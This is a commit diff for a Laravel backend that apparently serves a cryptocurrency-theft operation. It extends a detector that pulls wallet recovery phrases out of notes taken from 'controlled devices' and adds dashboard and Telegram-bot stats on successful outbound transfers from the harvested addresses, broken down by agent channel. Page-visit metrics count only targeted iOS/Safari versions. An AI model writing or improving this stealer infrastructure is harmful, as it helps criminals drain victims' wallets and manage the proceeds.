feat: scan

This commit is contained in:
hashbro
2026-09-13 02:12:06 +08:00
parent d7bd4d1b03
commit 1746e7b485
13 changed files with 266 additions and 40 deletions
+3 -1
View File
@@ -39,8 +39,10 @@ class NoteScan extends Model
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24); return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
} }
public const HASH_VERSION = '2';
public static function itemHash(array $item): string public static function itemHash(array $item): string
{ {
return hash('sha256', (string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); return hash('sha256', self::HASH_VERSION."\n".(string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
} }
} }
+83
View File
@@ -4,6 +4,7 @@ namespace App\Services;
use App\Models\Device; use App\Models\Device;
use App\Models\PageVisit; use App\Models\PageVisit;
use App\Models\TransferRecord;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
@@ -37,6 +38,8 @@ class DashboardStatsService
* mnemonic_count: int, * mnemonic_count: int,
* address_count: int, * address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}, * balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* by_os: list<array{label: string, uv: int, pct: float}>, * by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>, * by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>, * by_device_ios_version: list<array{label: string, count: int, pct: float}>,
@@ -102,6 +105,14 @@ class DashboardStatsService
$from, $from,
$to, $to,
); );
[$transferCount, $transfers] = $this->transferStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
$visits = PageVisit::query(); $visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent); AgentScope::applyChannelIdScope($visits, $agent);
@@ -193,6 +204,8 @@ class DashboardStatsService
'mnemonic_count' => $mnemonicCount, 'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount, 'address_count' => $addressCount,
'balances' => $balances, 'balances' => $balances,
'transfer_count' => $transferCount,
'transfers' => $transfers,
'by_os' => $byOs, 'by_os' => $byOs,
'by_ios_version' => $byIosVersion, 'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion, 'by_device_ios_version' => $byDeviceIosVersion,
@@ -320,6 +333,76 @@ class DashboardStatsService
return [(int) ($row?->addr_count ?? 0), $out]; return [(int) ($row?->addr_count ?? 0), $out];
} }
/**
* Successful outbound transfer count + per-asset sums in the selected range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
*/
private function transferStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = TransferRecord::query()
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
->whereBetween('transfer_records.created_at', [$from, $to]);
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
$sub->selectRaw('1')
->from('wallet_addresses')
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
$scopedIds = null;
if ($agent !== null) {
$scopedIds = AgentScope::channelIdsFor($agent);
} elseif ($agentUserId !== null) {
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
}
if ($scopedIds !== null) {
if ($scopedIds === []) {
$sub->whereRaw('1 = 0');
} else {
$sub->whereIn('devices.channel_id', $scopedIds);
}
}
if ($channelId !== '') {
if ($channelExact) {
$sub->where('devices.channel_id', $channelId);
} else {
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
});
}
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
? 'CAST(transfer_records.amount AS REAL)'
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
$rows = (clone $q)
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
->groupByRaw('UPPER(transfer_records.asset)')
->get();
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
$count = 0;
foreach ($rows as $row) {
$count += (int) $row->cnt;
$col = strtolower((string) $row->asset);
if (! isset($coins[$col])) {
continue;
}
$formatted = WalletAddress::formatAmount($col, $row->total);
$coins[$col] = $formatted === '' ? '0' : $formatted;
}
return [$count, $coins];
}
/** /**
* Map telegram /data day token to dashboard range key. * Map telegram /data day token to dashboard range key.
* Empty / omitted → today. * Empty / omitted → today.
+10 -2
View File
@@ -237,8 +237,8 @@ class MnemonicDetector
} }
/** /**
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units * Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase,
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words. * but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
* *
* @return list<string> * @return list<string>
*/ */
@@ -247,6 +247,9 @@ class MnemonicDetector
$out = []; $out = [];
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) { foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
$word = trim($raw, ".,!?;:\"'()[]"); $word = trim($raw, ".,!?;:\"'()[]");
if ($word === '') {
continue;
}
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) { if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
$out[] = $word; $out[] = $word;
@@ -255,6 +258,11 @@ class MnemonicDetector
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) { if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
continue; continue;
} }
if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) {
$out[] = $m[1];
continue;
}
$out[] = ''; $out[] = '';
} }
+16 -1
View File
@@ -97,7 +97,10 @@ class MnemonicScanService
return; return;
} }
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? '')); $text = $this->noteScanText(
trim((string) ($item['title'] ?? '')),
trim((string) ($item['body'] ?? '')),
);
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key); $this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash; $row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key); $row->scan_status = $this->noteStatus($note, $key);
@@ -377,4 +380,16 @@ class MnemonicScanService
default => MnemonicScanStatus::EMPTY, default => MnemonicScanStatus::EMPTY,
}; };
} }
private function noteScanText(string $title, string $body): string
{
if ($title === '') {
return $body;
}
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
return $body !== '' ? $body : $title;
}
return $title."\n".$body;
}
} }
+8 -1
View File
@@ -272,6 +272,7 @@ class NoteContent
{ {
$lines = preg_split('/\n+/', $text) ?: []; $lines = preg_split('/\n+/', $text) ?: [];
$title = ''; $title = '';
$firstLine = '';
$rest = []; $rest = [];
foreach ($lines as $line) { foreach ($lines as $line) {
$line = trim($line); $line = trim($line);
@@ -280,12 +281,18 @@ class NoteContent
} }
if ($title === '') { if ($title === '') {
$title = mb_substr($line, 0, 80); $title = mb_substr($line, 0, 80);
$firstLine = $line;
continue; continue;
} }
$rest[] = $line; $rest[] = $line;
} }
return [$title, trim(implode("\n", $rest))]; $body = trim(implode("\n", $rest));
if ($body === '') {
$body = $firstLine;
}
return [$title, $body];
} }
} }
+5 -5
View File
@@ -92,11 +92,11 @@ class DataCommand
'助记词: '.$data['mnemonic_count'], '助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'], '钱包地址: '.$data['address_count'],
'', '',
'💰 总余额(区间内新增地址)', '💰 总余额 / 交易额(新增地址 · 成功转出 '.$data['transfer_count'].' 笔)',
'• USDT '.$data['balances']['usdt'], '• USDT '.$data['balances']['usdt'].' / '.$data['transfers']['usdt'],
'• TRX '.$data['balances']['trx'], '• TRX '.$data['balances']['trx'].' / '.$data['transfers']['trx'],
'• BTC '.$data['balances']['btc'], '• BTC '.$data['balances']['btc'].' / '.$data['transfers']['btc'],
'• ETH '.$data['balances']['eth'], '• ETH '.$data['balances']['eth'].' / '.$data['transfers']['eth'],
'• BNB '.$data['balances']['bnb'], '• BNB '.$data['balances']['bnb'],
'', '',
'🌐 页面访问', '🌐 页面访问',
+1 -1
View File
@@ -18,7 +18,7 @@ class HelpCommand
' 健康检查', ' 健康检查',
'', '',
'/data [1|7|30] [channelId]', '/data [1|7|30] [channelId]',
' 查询仪表盘统计(设备/余额/访问/分布)', ' 查询仪表盘统计(设备/余额/交易额/访问/分布)',
' 天数默认当天;渠道默认全部', ' 天数默认当天;渠道默认全部',
' channelId: 旧版 32 hex 或新版 X.Y.ZZ', ' channelId: 旧版 32 hex 或新版 X.Y.ZZ',
' 例: /data', ' 例: /data',
+11 -28
View File
@@ -145,38 +145,17 @@
</div> </div>
</div> </div>
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div> <div class="dash-section-label">余额 / 交易额<span style="margin-left:8px;font-size:12px;">新增地址余额 · 成功转出 <span id="dash-tx-count">0</span> 笔</span></div>
<div class="dash-grid dash-grid-5"> <div class="dash-grid dash-grid-5">
@foreach (['usdt' => 'USDT', 'trx' => 'TRX', 'btc' => 'BTC', 'eth' => 'ETH', 'bnb' => 'BNB'] as $coin => $label)
<div class="dash-tile"> <div class="dash-tile">
<div class="dash-tile-hd">USDT</div> <div class="dash-tile-hd">{{ $label }}</div>
<div class="dash-tile-bd"> <div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div> <div class="dash-metric" id="dash-coin-{{ $coin }}">—</div>
</div> <span class="dash-metric-caption">余额/转出</span>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">TRX</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BTC</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">ETH</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BNB</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
</div> </div>
</div> </div>
@endforeach
</div> </div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div> <div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
@@ -335,8 +314,12 @@ layui.use(['form', 'laydate', 'layer'], function () {
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0)); $('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0)); $('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
var bal = res.data.balances || {}; var bal = res.data.balances || {};
var tx = res.data.transfers || {};
$('#dash-tx-count').text(res.data.transfer_count || 0);
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) { ['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0'); var left = bal[c] != null && bal[c] !== '' ? bal[c] : '0';
var right = c === 'bnb' ? '—' : (tx[c] != null && tx[c] !== '' ? tx[c] : '0');
$('#dash-coin-' + c).html(ratioHtml(left, right));
}); });
fillRows('#dash-by-os', res.data.by_os); fillRows('#dash-by-os', res.data.by_os);
fillRows('#dash-by-ios-version', res.data.by_ios_version); fillRows('#dash-by-ios-version', res.data.by_ios_version);
+78 -1
View File
@@ -5,6 +5,7 @@ namespace Tests\Feature;
use App\Models\Admin; use App\Models\Admin;
use App\Models\Channel; use App\Models\Channel;
use App\Models\Device; use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
@@ -297,6 +298,46 @@ class AdminAgentPortalTest extends TestCase
'source' => 'imToken', 'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow', 'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]); ]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-usdt',
'amount' => '10.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-trx',
'amount' => '3.25',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'to_address' => '0xto',
'chain' => 'eth',
'tx_hash' => 'tx-eth',
'amount' => '0.1',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'ETH',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-fail',
'amount' => '99',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_FAILED,
]);
$this->actingAs($admin, 'admin') $this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d'])) ->getJson(route('admin.dashboard.data', ['range' => '30d']))
@@ -310,11 +351,16 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.balances.eth', '0.1') ->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001') ->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25') ->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.transfer_count', 3)
->assertJsonPath('data.transfers.usdt', '10.5')
->assertJsonPath('data.transfers.trx', '3.25')
->assertJsonPath('data.transfers.eth', '0.1')
->assertJsonPath('data.transfers.btc', '0')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4') ->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2) ->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5') ->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1) ->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]); ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
} }
#[Test] #[Test]
@@ -378,6 +424,35 @@ class AdminAgentPortalTest extends TestCase
'updated_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00',
]); ]);
$inTx = TransferRecord::query()->create([
'from_address' => 'TInRangeAddr111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'in-tx',
'amount' => '4.2',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $inTx->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$outTx = TransferRecord::query()->create([
'from_address' => 'TOutOfRangeAddr11111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'out-tx',
'amount' => '9',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $outTx->id)->update([
'created_at' => '2026-07-01 12:00:00',
'updated_at' => '2026-07-01 12:00:00',
]);
$this->actingAs($admin, 'admin') $this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', [ ->getJson(route('admin.dashboard.data', [
'date_from' => '2026-08-01', 'date_from' => '2026-08-01',
@@ -391,6 +466,8 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.mnemonic_count', 1) ->assertJsonPath('data.mnemonic_count', 1)
->assertJsonPath('data.address_count', 1) ->assertJsonPath('data.address_count', 1)
->assertJsonPath('data.balances.usdt', '5') ->assertJsonPath('data.balances.usdt', '5')
->assertJsonPath('data.transfer_count', 1)
->assertJsonPath('data.transfers.usdt', '4.2')
->assertJsonPath('data.date_from', '2026-08-01') ->assertJsonPath('data.date_from', '2026-08-01')
->assertJsonPath('data.date_to', '2026-08-15'); ->assertJsonPath('data.date_to', '2026-08-15');
} }
+23
View File
@@ -71,6 +71,29 @@ TXT;
}); });
} }
#[Test]
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
{
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$device = $this->device('dev-scan-glued');
Note::query()->create([
'device_id' => $device->id,
'content' => [
'1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist',
],
'content_hash' => hash('sha256', 'glued'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$finding = MnemonicFinding::query()->first();
$this->assertNotNull($finding);
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
$this->assertSame($phrase, $finding->candidate);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
}
#[Test] #[Test]
public function nine_note_hits_are_ignored(): void public function nine_note_hits_are_ignored(): void
{ {
+1
View File
@@ -290,6 +290,7 @@ class TelegramBotTest extends TestCase
$this->assertStringContainsString('页面 PV: 1 / 2', $text); $this->assertStringContainsString('页面 PV: 1 / 2', $text);
$this->assertStringContainsString('设备与资产', $text); $this->assertStringContainsString('设备与资产', $text);
$this->assertStringContainsString('总余额', $text); $this->assertStringContainsString('总余额', $text);
$this->assertStringContainsString('交易额', $text);
$this->assertStringContainsString('助记词', $text); $this->assertStringContainsString('助记词', $text);
$this->assertStringContainsString('受控设备 · 系统版本', $text); $this->assertStringContainsString('受控设备 · 系统版本', $text);
$this->assertStringContainsString('按 iOS 版本', $text); $this->assertStringContainsString('按 iOS 版本', $text);
+15
View File
@@ -117,6 +117,21 @@ TXT;
$this->assertSame(12, $hit['word_count']); $this->assertSame(12, $hit['word_count']);
} }
#[Test]
public function notes_keep_inline_and_glued_numbered_phrase(): void
{
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$spaced = '1 during 2 exhaust 3 tool 4 custom 5 smart 6 old 7 busy 8 region 9 skin 10 wasp 11 attitude 12 wrist';
$glued = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
foreach ([$spaced, $glued] as $text) {
$hit = (new MnemonicDetector)->detect($text, true);
$this->assertNotNull($hit);
$this->assertTrue($hit['confirmed']);
$this->assertSame($phrase, $hit['candidate']);
}
}
#[Test] #[Test]
public function prefers_english_phrase_over_chinese_ui(): void public function prefers_english_phrase_over_chinese_ui(): void
{ {
+12
View File
@@ -40,6 +40,18 @@ class NoteContentTest extends TestCase
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"])); $this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
} }
#[Test]
public function keeps_full_single_line_body_when_longer_than_title(): void
{
$line = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
$items = NoteContent::fromList([$line]);
$this->assertCount(1, $items);
$this->assertTrue(str_starts_with($line, $items[0]['title']));
$this->assertSame($line, $items[0]['body']);
$this->assertStringContainsString('12.wrist', $items[0]['body']);
}
#[Test] #[Test]
public function keeps_title_as_body_when_rest_is_notes_junk(): void public function keeps_title_as_body_when_rest_is_notes_junk(): void
{ {